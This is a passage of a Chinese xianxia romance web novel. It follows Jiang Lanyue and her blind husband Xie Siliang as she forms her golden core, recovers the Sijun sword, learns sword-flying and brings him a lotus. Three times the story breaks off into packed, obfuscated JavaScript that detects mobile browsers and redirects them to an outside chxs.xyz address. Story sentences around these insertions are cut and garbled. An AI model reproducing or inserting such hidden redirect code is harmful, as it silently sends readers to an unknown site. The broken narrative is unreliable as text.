“不用，小伤罢了。” “好吧。”见谢思量说的如此干脆，姜揽月便也没有强求。 她拿出准备好的药膏，小心翼翼地往伤口上涂抹，生怕弄疼了谢思量。 少女纤细的指尖落在他的肌肤之上，是极轻的痒，又伴随着一阵阵的刺痛。 这种痛与痒的交织，竟令他生出了一股愉悦之感。 少年纤长的眼睫轻轻颤抖。 姜揽月则有些紧张，谢思量怎么会露出这种神色，不会是她下手太重，把他弄疼了吧？ 想到这里，少女鼓起嘴，朝伤口处吹起风来。 谢思量看不到，只觉得有淡淡的风袭来，令那股痒意更加明显。 “你在做什么？”他的声音有一丝难以察觉的忍耐。 “我在给你的伤口吹气啊。” “为何要吹气？”谢思量不解。 “这可以缓解你的疼痛。”姜揽月解释道。 说着，她又轻轻呼了一口气。 “你看，就像这样，是不是感觉没那么疼了。” 淡淡凉风吹来，谢思量只感到更加痒，渗入血肉深处。 不可抑制地，谢思量脊背微僵。 被她涂药，竟是这种感觉。 还想要再来一点。 15. 台山（三） 帮谢思量处理完伤口后，姜揽月开始了自己的正事，她得去找醉云花了。 “谢思量，你在这等我一下。这里有好多珍贵草药，我去找一点。”姜揽月状似随意道。 “你要草药？” “嗯，这些草药可值钱了。”姜揽月抬眼看向他，试探道，“你眼睛看不见，在这里等我，或者和我一起？” 谢思量没有犹豫：“在这等你便好。” “好。” 背后的扶桑树被风吹的哗哗响，身边女子手上的铃铛也在叮铃叮铃响。 一时间，竟让谢思量生出自己的心也在响的错觉。 少年垂下眉，内心多了一丝烦躁，为什么又会有这种感觉。 姜揽月在山上转了一圈，这段时间的修炼，已经让她的体能提升了不少，爬山采药不在话下。 在一个角落处终于摘下醉云花后，姜揽月松了一口气，终于让她找到了。 根除血脉反噬，指日可待！ 她收好草药，抬起步子往回走。 只见谢思量背靠在一棵扶桑树上，身姿高挑，眉目如画，乌黑的长发散在脑后，似天上仙人。 日光透过树隙洒在他的眼中，泛出点点碎光。 清脆的银铃声越来越近，谢思量很明显知道她回来了。 “谢思量，我采了很多草药了。我们歇息一会吧。” 谢思量轻轻颔首：“嗯。” 姜揽月随便找了个地方坐下，然后在芥子囊中拿出早已准备好的吃食，一道一道摆出来。 消耗了这么久，她只觉得自己快饿的前胸贴后背了。 “谢思量，你吃吗？我为你准备了桃花糕。” 她拿出一块桃花糕，递给了谢思量：“我知道你不喜油腻，这是特地为你准备的。” “不必，你慢慢吃吧。”谢思量摇头，他感觉自己的心脏有些不舒服，仿佛被麻痹了一样。 难道是中毒了？ 他没有声张，姜揽月不是医修，不懂这些疑难杂症，最多帮他涂药。若是让姜揽月知道了，不过是徒增她的烦恼罢了。 “那好吧，你不吃那我就自己吃了。”姜揽月没有多想，毕竟谢思量本就不不喜吃东西。而且他修为已至化神，吃不吃都没关系，还不如都留给她吃。 话音刚落，她便吃起面前的烤鸡。桃花糕这些糕点对她来说只能当饭后甜点，灵力消耗大的时候只有肉食才能补充能量。 就在姜揽月吃完了五只烤鸡后，她忽然发现自己体内有点点变化，肚子随即泛起一阵疼痛。少女手一抖，烤鸡“啪”的落到了地上。 谢思量抬眉：“怎么了？” “谢思量，我感觉我的身体有变化。”姜揽月有些惶恐，这莫名的感觉怎么回事？好疼，难道血脉反噬提前了？还是说，她吃坏肚子了？ 可是不对啊，血脉反噬按理说还有半个月呢，这烤鸡也是斋堂的烤鸡，平日吃都不要紧，今日吃怎么会吃坏肚子呢？ 谢思量“望”向她：“什么变化？” “感觉肚子……”姜揽月斟酌着用词，力求准确将感受描述出来，“感觉肚子里好像长出了什么东西……有点涨……” 长出了什么东西？ 话还没说完，谢思量便走了过来，如玉雕的手指放于她的额头上，一股清凉的灵力便注入了她的灵脉。 随即，少年似觉得有些好笑：“你在结丹。” “结丹？”姜揽月很快反应过来，连声音都带着一丝兴奋，“我要金丹了？！” “嗯。” “可是，结丹就是会有这种感觉吗？”姜揽月没好意思说，怎么有种怀孕的感觉？ “结丹确实是这种感觉。” “除了涨，还有一点疼，有点不舒服。”姜揽月揉了揉自己的肚子，想借此舒缓疼痛。 “疼？” 谢思量抬起胳膊，道：“你可以咬我。” “什么？”姜揽月怀疑自己听错了，不可置信道，“咬你？” “对，咬我。”谢思量又重复了一遍，“这样你就可以转移注意力，缓解疼痛了。” “……”很少听到谢思量主动说这么话，看的出来他是真的想让她咬他。 但是为什么？姜揽月不理解，她这夫君在很多方面脑回路是真的很清奇。 “不不，你还是个病人呢，我吃点止疼丹药就好了。”姜揽月礼貌拒绝，“准备了那么多止疼丹药，为的就是这一刻。” 谢思量好似叹息：“好吧，那你吃止疼丹药吧。” ？ 怎么他的语气听起来还有一点遗憾？ 姜揽月不明白，不过她也没精力想这些问题了。 又一阵疼痛袭来，脑子晕晕胀胀，姜揽月吞下了几粒丹药。 她有气无力道：“谢思量，我想休息一晚，明日我们再出发，可以吗？” “可以。”谢思量简短道。 金乌死后，台山的温度便降低了许多，没有了使人中暑的高温和蒸腾的热气。 夜晚，月挂云梢，凉风习习，竟生出了一股舒适之感。 姜揽月拿出准备好的被褥，直接往地上一趟，还好心问道：“谢思量，你要吗？我带了被褥，可以分你一半？” 少年的声音传来：“无需，你好好休息吧。” “好。” 等的就是这句话。 “那晚安了。” 说完，姜揽月倒头便睡。 几日的奔波以及结丹的疼痛令她异常疲倦，几乎是一沾上枕头便进入了梦乡。 谢思量五感本就生得较常人更加敏锐，眼盲之后更是如此，周围的风吹草动都逃不过他的耳朵。 耳边传来少女均匀的呼吸声，他内心默然，居然真的这么快就睡着了。 谢思量无言，自金丹之后，他便很少睡觉了，顶多就是闭目休息，怎么会有人睡得这么快？ * 翌日，日光透过扶桑枝叶，照射到姜揽月脸上，将人都照得热烘烘的。 姜揽月抬起胳膊，遮住双眼，又躺了片刻后，她直起身子，伸了个懒腰，昨夜真的是睡了个好觉，如今醒来只觉得神清气爽，浑身筋骨仿佛都得到了重塑。 她抬起眼，发现谢思量坐在一边，好像还维持着昨夜的姿势。 ？他不会睡着了吧？ 呜呼，原来谢思量也会睡觉，可被她逮到了吧。 少女嘴角轻勾，仿佛发现了什么不得了的秘密。 “谢思量？”姜揽月轻手轻脚，试探性地喊道。 少年撩起眼皮，露出了琉璃般的眸子：“我没睡。” “哦。”姜揽月声音闷闷，带着一丝失落。 随即，她又伸了个懒腰：“我睡醒了，休息好了，精神百倍，我们今日可以出发回昆仑了！” “嗯。” 待她收拾好包裹，二人便开始往回走。 穿过枝繁叶茂的密林，两人又回到了昨日降服伏金乌的地方。 日光下，那块地方竟然有一个散发着刺眼光芒的东西。姜揽月抬起手，只觉得非常刺眼。换了个角度，她双眼微咪，打量着前方，发现好像是一把剑。 她连忙小跑到了前方，想看看到底是什么“宝贝”，毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928004|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小说里的主角经常会这样捡到法宝。 不想，留在地上的赫然是一把剑！ 再定睛细看，只见剑身细长，剑柄上雕刻着细细的云纹，竟然是她上辈子的思君剑！ 姜揽月的手抖了起来，她将剑捡起，清越的剑鸣声响起。银色的剑刃闪烁着锐利的光芒，这就是思君剑！ 之所以叫思君，是因为这把剑是谢思量送给她的，所以她便给这钱取名“思君”。当时那把剑也是谢思量在外除妖时发现的，现在想来应该就是这金乌。 只不过当时谢思量眼睛还能看得见，所以便拿了这把剑。然而这辈子他的眼睛看不见了，所以便未发现。不过巧的是，这辈子她来了。 所以最后，兜兜转转这剑还是回到了她的手中。 “你拿到了一把剑。”谢思量道，很明显，他听见了刚刚利剑出鞘的和剑鸣的声音，听声音是一把好剑。 “对，谢思量，昨日金乌消失的地方多了一把剑。”姜揽月的声音是抑制不住地兴奋，微微颤抖。 谢思量开口：“给我看看。” “好。” 姜揽月将思君剑递了过去。 谢思量伸手，他刚一握住这剑，便忽地感到了一股钻心之痛，深入骨髓。 少年脊背微僵。 他“看”到了一名女子握着这把剑，捅入了自己的胸口。鲜血汩汩流出，染红了他雪白的袍子。窗外，梨花与白雪齐落，一朵梨花从窗中飘入。 是玉霄殿。 谢思量眼睫微颤，他早已眼盲，所以这只能是幻镜。 他怎么会有这种幻镜？ 谢思量面上不露声色，继续“看”着幻镜中的情景。 幻镜中，他慢慢抬起眼，对上了一双桃花般的双眼，目光明亮。 那女子肤如凝脂，丹口琼鼻，漂亮的如同天上的月。只可惜，这漂亮的脸上却有着毫不掩饰的厌恶。 “我喜欢的根本不是你。” 他听见她对自己说。 谢思量内心一惊，这是姜揽月的声音，这么多天的朝夕相处，他不可能听错。莫非这幻镜中的女子是姜揽月？ 不容他多想，紧接着，他又听到自己的声音。 “从此以后，我们便再无瓜葛。” 那女子又道：“好，没瓜葛便没瓜葛。” “谢思量，谢思量，你怎么了？”两道相同的声音分别在耳边响起。 幻镜也在此时结束。 见谢思量拿着剑迟迟不说话，姜揽月关切道：“这把剑有什么问题吗？” “无事。”谢思量面上不动声色，这把剑应该与他也有机缘，不然不会出现这种幻镜。 只不过不知道这份机缘是好的机缘还是坏的机缘，谢思量不怕死，但是他想知道这把剑为何会给他带来这样的幻镜。 他将剑还给姜揽月，道：“是把好剑，由台山的扶桑木所化。扶桑木性温，十分适合你。” “原来是扶桑木打造的剑啊。” 姜揽月又看了看手中的剑，道：“这把剑叫‘思君’。” “思君？”谢思量轻启薄唇，“为何要叫这个名字？” “因为，”姜揽月抬起眼眸，望向谢思量琉璃般的瞳孔，“这是我和你一起碰到的剑啊。以后只要叫这把剑的名字，便能想到你。‘思君思君’，思的当然是你啊。” 从未想过的回答，谢思量只觉得自己的心跳忽地又快了许多。 他控制不住自己的心跳，失控，又是失控，他讨厌失控的感觉。 少年的眉宇间多了一丝烦躁。 莫非他真的是中毒了？ 16. 台山（四） 台山脚下，云雾缥缈，青翠的山峰挺拔如入云，泉水潺潺，不远处响起一声悦耳的鸟鸣。 “哎呀，这怎么还飞不了啊？” 只见一位穿着白裙的少女站在一把剑上，裙裾飘飘，而那把剑在她脚下则倏而不动。 “稳住气息，集中灵力，将灵力往剑上引。”谢思量站在一旁讲解。 姜揽月尝试着按照谢思量说的做，双目微闭，然后将全身的灵力集中向思君，但她还是感觉不到思君的任何动静。 她不得不有些烦躁：“这都快一个时辰了，我们这样会不会浪费时间啊？” 谢思量清冷的声音又在耳边响起：“试着找到你弹琵琶时的感觉，这就像你弹奏琵琶一样，静心便可……” 弹奏的琵琶的感觉…… 姜揽月这次没有着急动作，而是想了一下自己弹琴弹琵琶的状态，为什么弹琴和弹琵琶上手就行了呢？ 片刻后，少女再次集中灵力，屏息凝神，大脑中不留任何一丝杂念。 不想，思君剑居然真的飞了上去！！ “谢思量，快看！！我成功了！！”姜揽月惊呼，“思君居然真的飞上去了！！” 谢思量：“……我看不见。” 少女还沉浸在喜悦中：“那你感受一下。” 清风拂过谢思量的发丝，他似乎笑了一声：“我感受到了。” * 到了晚上，二人路过了一个小镇。 姜揽月站在观雪上道：“谢思量，我们今日练了半日的剑，还有半日赶路，我身为鲛人，真的有点饿。” 谢思量无言，明明早上还吃了很多，但他想起姜揽月确实身体构造和他不同，于是道：“嗯。” 二人来到集市中。 与上次不同，姜揽月这次预料到了这种情况，带了很多人间的货币，再也不用拿珍珠去换钱了。 嘿嘿，当上摇光夫人这一点确实很好，无论是在人间还是在修仙界，她都有花不完的钱。 正是九月，人间金桂飘香，到处都是桂花的香气。 “那就先吃桂花糕吧！”姜揽月决定道。 买完桂花糕，姜揽月又去了一家酒楼，点了一大桌肉食，这一点到和上次一摸一样。 “谢思量，我给你点了一杯桂花古树红茶。” 虽然谢思量不爱吃食，但姜揽月每次都不好意思一个人吃独食，所以会坚持不懈的问一下谢思量。 难得，谢思量这次居然道：“多谢。” 姜揽月没想到谢思量居然真的同意了，眉眼弯弯，笑道：“没事，反正这都是你的钱。” 谢思量：“……” “话说这白素贞，本是峨眉山中的一条白蛇，修炼千年，终得道化为人形……这一日，白素贞与小青在断桥上漫步，忽见一英俊书生迎面而来，这书生名曰许仙……” 酒楼中的说书人正在讲故事，台下唏嘘声连连。 姜揽月拿筷子的手一顿：“这里居然在说《白娘子传奇》。” “你知道这戏？”谢思量的手摩挲着茶杯。 姜揽月：“对啊，这出戏很出名的，我小时候最喜欢的便是这出戏了。” “白素贞被镇压之后，小青为救姐姐，便与法海展开了一场惊天动地的大战……” 待姜揽月吃完后，这出戏也到了尾声。 “诸君，此《白娘子传奇》故事，便至此结束。白素贞与许仙之爱情故事，历经千难万险，终得圆满。” “最后，老夫祝愿天下有情人，终成眷属，白头偕老。” 台下响起阵阵鼓掌声。 姜揽月也随着人群一起鼓掌，愤愤道：“都怪法海，哪来的古板光头，妖怪怎么了？妖怪就不配拥有爱情吗？” 她抬眼瞥到了谢思量的表情，面上依旧没有任何情绪，如平常一样。 姜揽月无法忍受自己的cp被人忽视。 “谢思量，你不感动吗？或者气愤吗？” 谢思量放下手中的茶杯，认真道：“不知道这三位为什么要这么做。” 姜揽月：“……？” 谢思量说不理解？ “那当然是因为爱啊！”姜揽月立马道，《白娘子传奇》是她小时候最喜欢的电视剧了，她一定不能让自己的cp被人误解！ “许仙救了白素贞，白素贞爱上了许仙，然后许仙又爱上了白素贞，法海来拆散她们俩。当一切艰难险阻都没了之后，白素贞和许仙当然要在一起了！！” 谢思量：“因为许仙救了白素贞，所以白素贞便爱上了许仙？” “对啊！”姜揽月用力点头，“当然也不止因为救命之恩，我觉得还有一点一见钟情的缘故，故事中不是说许仙长相俊秀吗？一见钟情你知道吗？就是一眼看到就爱上了对方。爱情很多时候……” 话音刚落，姜揽月忽然意识到对面的谢思量是个瞎子，根本体会不到一见钟情。而且他还是修无情道的，也根本不会有“爱”这种情感。 谢思量抬眉：“怎么停下了，继续说。” 姜揽月硬着头皮道：“爱情很多时候……很多时候来的就是这么莫名其妙。” 随后，姜揽月又道：“那个，我没有说你看不见……的意思。” 谢思量垂眸：“无事，我本就是修太上忘情道的。” 姜揽月松了一口气，还好谢思量不会因此生气。 “所以，你觉得白素贞喜欢许仙，有一部分原因是因为许仙长得好看？”谢思量道。 “对。”姜揽月肯定道，“谁不喜欢好看的呢，戏中不也说‘许仙长相俊秀’吗？既然是一见钟情，那么在喜欢的人眼中当然是美的啊！” 谢思量闻言没有言语。 * 翌日清晨，姜揽月又开始了她御剑的学习。 学会如何让剑起飞之后，下一步便是控制剑的速度和方向了。 “这怎么站上去也不稳啊？”一道清脆的声音响起。 只见一位少女站在思君剑上，双腿颤颤巍巍，压根不知道该怎么控制脚下的剑。 思君一会向左拐，一会又向拐右，一会儿又突击向前，一路飞的实在是颠簸，而且还是龟速。这都快过半个时辰了，两人才行进了一点。 少女的御剑速度实在是慢，谢思量甚至只需要行走便可以跟上。 “若想完全控制自己的剑，需要与它神魂相通，这样便可控制自如了。” “什么神魂相通啊？”姜揽月控制不住道，“我拿到思君才不过一日，怎么能像你一样做到神魂相通啊？” 谢思量开口：“我当时拿到观雪之时便可以和它神魂相通了。” 姜揽月义正言辞：“……你是剑修天才，我可不是，你不能以这种来要求我。若是谁都像你那样，那修真界岂不遍地都是化神修士。” 谢思量：“……” 半晌后，少年只道了一句：“不可妄自菲薄。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938851|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜揽月则继续操控着思君剑，试图完全掌握它。 二人此时又在一座山上，为什么呢？ 因为姜揽月飞的实在是太低了，不能像一般剑修一样跨过高山，于是便只能在山脚上行进了。 但这样也有不好的，便是树太多了，一不小心可能就撞上树了，而且还需要灵活转弯。也正因如此，谢思量才会说这是个练习的好地方。 姜揽月：“……” 眼见前方正是一条路口，但姜揽月却发现自己不能控制拐弯了。 我靠，思君你倒是快拐弯啊！！ 快拐弯啊思君！！ 快拐弯！！ 可直到最后，思君也没有听到她内心的呼唤。 “啊啊啊啊啊！” 千钧一发之刻，她准备直接从剑上跳下来。不管怎么说，摔在地上比撞到树上要强。 就在少女从剑上跳下的那一刻，她忽然感到自己触碰到了某些柔软的东西。 鼻尖萦绕着淡淡的冰雪气息，是熟悉的味道。 姜揽月：？ 不会吧？难道她摔到了谢思量身上？ 少年精致的面容近在咫尺，乌黑的睫毛又长又密，琥珀般的眸子盛满了细碎的光，与上辈子的冷冰冰完全不同。眼睛下是高挺的鼻梁，再往下是薄薄的嘴唇。 真美啊，不愧是仙盟美人榜第一，瞎了也这么美，姜揽月不可抑制地想到。 但是，不容姜揽月继续想，接下来便发生了无数狗血言情小说都会发生的事情，她居然和谢思量亲上了！！ 瞳！孔！震！惊！ 猛然碰到地上，嘴唇又碰上了某些柔软又温润的东西，谢思量不自觉地皱了一下眉，闷哼一声。 姜揽月则敏锐地捕捉到他脸上这一变化，内心咯噔一下。 完了，她不会让谢思量生气了吧。谢思量好心教她御剑，她却对谢思量做了这种事。 妈呀妈呀，谢思量不会觉得他的清白都被她夺去了吧？！毕竟他可是修无情道的啊，无情道不是最忌讳这种事情吗？而且谢思量昨天还和她强调了一下他是修无情道的。 姜揽月欲哭无泪。 可她真的不是故意的啊！！ “谢思量，对不起对不起！我真的不是故意！我给你道歉！！”少女连忙从谢思量身上起身，完全没注意到刚刚的动作是她跨坐在谢思量腰间。 谢思量又皱了一下眉，姜揽月惶恐的更加厉害了。 “你摔倒了，和我道歉做什么？”谢思量起身。 “我、我，”姜揽月不知该怎么回答，只得道：“我真的不是故意玷污你的清白的！我也没想到会撞到你身上啊！！对不起！！对不起！！我真的不是故意的！！” “玷污清白？” 谢思量的耳尖忽然浮现了一抹红，转而冷声道：“胡说什么？” 姜揽月心道，完了，谢思量真的生气了。 呜呜呜她真的只是想学个御剑啊！哪知道会发生这种事情。 少女声音带着一丝委屈，跟在谢思量身后：“我回去再学吧，先不学了。” 她现在心烦意乱，根本学不了。 谢思量闻言，只垂了垂睫，默默地召出了观雪，道：“上来吧。” 他现在也心烦意乱，根本教不了。 刚刚就在姜揽月撞到他之时，他又感受到了心跳加速的感觉。 难道是只要碰到姜揽月，便会有这种感觉？ 17. 幻妖（一） 待二人回到昆仑时，已经是好几天后了。 姜揽月直接回到了玉霄殿，至于谢思量，则被留在了大殿，和其他几位长老商议最近凡间的事宜。 天枢长老道：“这次为何这么久？是受伤了吗？” 之所以问出这个问题是因为平常谢思量几日内便能解决妖魔，这次却多花了好几天，天枢长老担心途中发生了其他事情。 谢思量站在大殿上，道：“没有受伤。” 一旁的妙音长老知道谢思量说不出几句话，解释道：“我让他把我的徒弟带过去了，算是我徒弟的历练，所以耽误了一点时间。我徒弟第一次历练，慢一点情有可原。” 天枢长老看着面前的曲玄素，不可置信道：“你的徒弟？” 他隐约记得曲玄素的徒弟是宋卿尘，明明是好几年前收的弟子了，怎么还说是第一次历练？ ”你让宋卿尘跟着摇光？摇光都没带自己的亲传弟子去吧？而且你那弟子怎么还是第一次历练？这么多年难道没下山过？” 妙音长老略微有些无语，她漂亮的手指放下茶杯：“大师兄，你的消息怎么这么滞后，我说的这位亲传弟子是姜揽月，思量的那位道侣。你难道还不知我将揽月姑娘收为亲传了吗？” 天枢长老震惊：“姜揽月？你是说摇光从凡间带的那位道侣？” 贪狼长老也很震惊：“妙音，你收那位凡间女子为亲传了？” 妙音长老一副你们怎么到现在才知道的样子：“揽月姑娘乐理天赋乃是顶尖，若不好好培养就是浪费，所以我便将她收为了我的亲传。” 谢思量也轻轻颔首：“嗯。” 见这二人这幅样子，贪狼长老说不出话。 “对了，摇光，我这徒儿表现怎么样？”妙音长老问道。 她知道长老中有人不喜姜揽月，觉得姜揽月会耽误谢思量修炼，但是她可不这样认为。一来修炼靠自身，并不是外界所能干扰的，若是被影响了只能说他道心不稳，二来姜揽月的天赋确实很好，她收徒不看家世，只看天赋和努力程度，而姜揽月这段时间每日的练习她都看在眼中。 这位徒弟，她没有收错。 “师叔，揽月姑娘这次历练表现很好，幸得师叔赏识，揽月才会有这般机遇。”谢思量垂眸道。 一听这话，妙音长老嘴角轻勾，她这徒侄向来寡言少语，世人都道他不善言辞，却不知这位无情道剑修有一颗七窍玲珑心，只是至今都没有碰到能让他说话的人罢了。 当然，谢思量这般夸姜揽月，妙音长老也甚觉欣慰，她自豪道：“我早说揽月姑娘的乐理天赋乃顶尖，惊艳绝伦，好好培养必能让我昆仑多一位化神期修士。” 她又看向谢思量，道：“你们二人平日在一起，你多指点一下揽月，可以和你新收那徒弟一起教授。” 谢思量颔首：“徒侄明白。” 见几位当事人都这般反应，贪狼长老也不好说些什么。 天枢长老揉了揉太阳穴，道：“姜姑娘既来了昆仑，又是你的道侣，确实应该来昆仑修炼。” * 姜揽月回到摘星阁后，立马将醉云花放下，随后开始寻找起治疗血脉反噬的其他配料。 半个时辰后，她在窗中看到了谢思量的身影。 “谢思量，妙音长老回去了吗？” 谢思量在窗外驻足：“妙音长老？” “嗯嗯。”姜揽月点头，“妙音长老现在是我的师尊，是她让我和你一起出去历练的，我现在要去和她报告啦！我现在结丹了，要赶快把这好消息告诉她。” 这是在上次事件之后，姜揽月第一次主动和谢思量说话。 谢思量眼睫微颤：“师叔应该回去了。” “好，那我先去妙音峰了。” * “师尊，我金丹了！” 少女清透的嗓音在湖畔响起，今日妙音峰下了雨。坐在宫商阁中，可以听到雨打荷叶的声音。 妙音长老看着向自己跑来的蓝裙少女，她能感受到姜揽月的修为确实提升了一个境界，道：“不错不错。” 姜揽月又从芥子囊中拿出了一包桂花红茶，道：“师尊，如今正是九月，人间桂花盛开，我们路过人间一个镇子给你买的。” 妙音长老接过红茶，眼角流露着喜爱：“徒儿有心了，没想到徒儿在人间还挂念着为师。” “应该的。”姜揽月道，她打开茶包，开始为妙音长老泡茶。 “我听摇光说你这次表现的很好。”妙音长老又道。 “嗯，就还行吧。”姜揽月有些不好意思，她也不知道谢思量到底是怎么说的，于是道：“主要其实是他啦，我给他辅助。我给那只金乌催眠，然后谢思量用剑杀了那只妖兽。” 妙音长老修长的手指捧着茶杯：“不可妄自菲薄。摇光如今已是化神期修士，你才堪堪金丹，能做到这个程度已经很不错了。” “谢谢师尊。”姜揽月情不自禁笑道。 妙音长老走后，姜揽月看着这满池的荷花，水面清圆。她内心微动，不如折一枝给谢思量赔礼道歉？ 说干就干，她撩起袖子，修长的手指捻起一朵粉白的荷花。 耳边忽然传来一道声音：“小师妹！你偷摘荷花被我发现了！！” 姜揽月一惊，差点滑到池子里，她抬头，果然看到了那张熟悉的脸：“师兄，你怎么来这儿了？” 宋卿尘：“……这是宫商阁，我不应该在吗？” 他看着面前的少女，少女穿着水蓝色的留仙裙，一截如玉藕般的手臂漏了出来，手中拿了一朵还带着露水的荷花。 “哦，也是。” 姜揽月摘好了荷花，直起了身子。 “你拿这荷花做什么？” 姜揽月道：“我夫君喜欢，我给他摘点。” 宋卿尘略微有些震惊：“看不出来啊，谢思量居然喜欢荷花啊。” 而且他现在不是瞎了吗？ 后面的话，宋卿尘没说了，道了句：“他要是喜欢，马上结了莲子，要不要也带回去吃点？” “好啊。” 姜揽月道：“我最喜欢吃莲子了。” 宋卿尘试探道：“谢思量也喜欢？” 姜揽月：“不知道啊，不过我喜欢。” 少女说这话时眼睛亮晶晶的。 宋卿尘内心了然：“好，到时候和你说。” *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946765|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回到玉霄殿后，姜揽月轻轻扣响了谢思量房间的门。 谢思量此时正在房间内。 “何事？”清冷的声音响起。 姜揽月直接道：“给你带了朵荷花。” 她看着面前的谢思量，少年换了身衣服，黑发未扎，柔顺的散在肩上。虽然还是件白袍，但袖子上隐隐有金色的咒文显现，姜揽月知道他去台山时穿的不是这件衣服。 “荷花？” 谢思量的语气中有些疑惑，不知道姜揽月又在想什么主意。 “对，我在商角宫中摘的。” 谢思量有些无言：“我看不见。” “没事啊，虽然看不见，但是可以闻啊。” 谢思量：“……” 姜揽月把荷花放于谢思量鼻前：“你闻一闻，是不是很香？” 谢思量嗅觉敏锐，姜揽月刚进来时他便问到了一股清新的甜味，如今这般只觉得味道更加浓郁。 他没有回答姜揽月的问题，只道：“你拿荷花来做甚？” “来给你的房间装饰一下。”姜揽月道，她知道如果和谢思量谈那件事情的话他会生气，于是便选择了这种迂回的方式。 “装饰房间？”谢思量面无表情的重复。 姜揽月有点心虚，于是又补道：“其实，我送你荷花还有一个原因。” “什么原因？” “因为你和荷花很像。” “像？”谢思量觉得有些好笑，他还是第一次听说有人这么说，不过从姜揽月口中说出来也不奇怪，“怎么个像法？” “我们那有一篇诗文是描写荷花的，说荷花‘出淤泥而不染，濯清涟而不妖，中通外直，不蔓不枝……’” 谢思量眨了眨眼，语气还如平时一般：“……你到底想说什么？” “就是荷花是花中君子，君子！”姜揽月道，“荷花是花中君子，仙君也是君子，所以才说仙君像莲花。不对不对，是莲花像仙君！” 谢思量：“……” “我给你找个花瓶插着啊。”姜揽月熟门熟路的找了个白瓷瓶，然后将莲花放进去。 看着莲花插在花瓶中，粉色的花瓣给这个房间带了点活人感，不在如之前那般冷冷清清，姜揽月非常满意。 她拍拍手道：“那我先回去了。” 没有留下的理由。 “嗯。”谢思量颔首。 听着少女将门关起来的声音后，谢思量独自站在桌前，鼻腔中萦绕着莲花的芬芳。 外面烛影晃荡。 他记得前几日那戏中，许仙便给白娘子送过花，具体是什么花，他忘记了。 鬼使神差，他摘下一朵莲花的花瓣，放于手心。 好想看看莲花是什么样子。 在他眼睛还未盲的时候，曾经见过莲花，不过那已经是很久以前的事情了，久到他已经忘了莲花的样子。 如果看不见，就让他尝尝莲花的味道吧。 于是，少年竟将那花瓣放入了嘴中。 清新的香气在舌尖散开，又顺着喉管，直入心中。 心底的情绪如潮涌般卷起。 果然是一碰到姜揽月，便会有这般感受啊。 18. 莲花（二） 清晨，日光熹微，山色空蒙，梨花飘飘，几声清脆的鸟鸣声打破了寂静。 姜揽月刚用完了早膳，来到了宫商阁，开始了每日的修炼。 上辈子作为混吃等死的摇光夫人，她每日都会睡到日上三竿。而如今成为名正言顺的昆仑的弟子，她可不能这样做了。 结束完一天的修炼之后，宋卿尘喊住了她：“师妹，原来你在这儿啊。” 姜揽月：“我几乎每天都在这啊，怎么了？今天忽然找我？” 宋卿尘抬眼道：“新弟子入门后，一般会接一些任务，算学分，也能赚些灵石什么的。” “灵石？”姜揽月眨眼，随后露出笑容，“玉霄殿有很多，数都数不清。” 宋卿尘：“……忘了，谢思量确实很有钱。” 随后，他又道：“我跟你们这些有钱人拼了。” 姜揽月摸摸头发：“我开玩笑的哈哈哈，听个乐子就行了，不用当真哈哈哈。” “行了，不开玩笑了。”宋卿尘道，“北边清水镇最近经常有怪事发生，怀疑可能是妖魔作乱，这个任务你接吗？” 姜揽月反问：“我一人吗？” “当然不是，”宋卿尘道，“你才第一次，怎么放心让你一个人去，我也会去，而且我记得这个任务的最低要求是四人，我看看……” 他打开手上的卷宗，上面显现着黑色的文字，姜揽月也低头凑过去看，只见卷宗上赫然浮现出“薛满”和“白晴雨”两个名字。 “另外两人是薛满和白晴雨……” 居然是薛满，姜揽月相信谢思量的徒弟，连忙道：“我去我去。” “好。”宋卿尘将卷宗收起，“那就这么决定了。” “对了，”姜揽月又叫住他，“你前几日说莲子结了便能吃，我看这里已经结了莲子啊。” “你看，”姜揽月指着不远处碧绿的莲蓬，“那不就是吗？” “想吃？” “嗯。”姜揽月重重点头。 “那你去摘吧。”宋卿尘道。 “可以随便摘吗？” “那当然，不然结了干嘛？不吃浪费。” 说罢，宋卿尘竟直接跳到了水面漂浮的荷叶上，自顾自地摘起来。 姜揽月：震惊，还能这么玩。 “来来来，师妹你也来，我们来比比一刻钟内谁摘的多。”宋卿尘朝她招起手来。 “好！”姜揽月道。 说着，她口中默念仙诀，足尖一点，也跳到了荷叶之上，开始采摘起莲蓬。 清风吹拂，少女裙摆飞扬，纤细白净的手指捻起一只莲蓬。 今日她穿着水绿色的襦裙，与这池中的荷叶融为一体。 长廊上，一名扎着高马尾的黑衣少年向此处投来了不可思议的目光。 师娘，怎得在这里摘莲蓬？ * 从妙音峰出来后，薛满便直接来到了云雪峰。 他手里拿着卷宗，毕竟是第一次下山，总得和谢思量说一下。 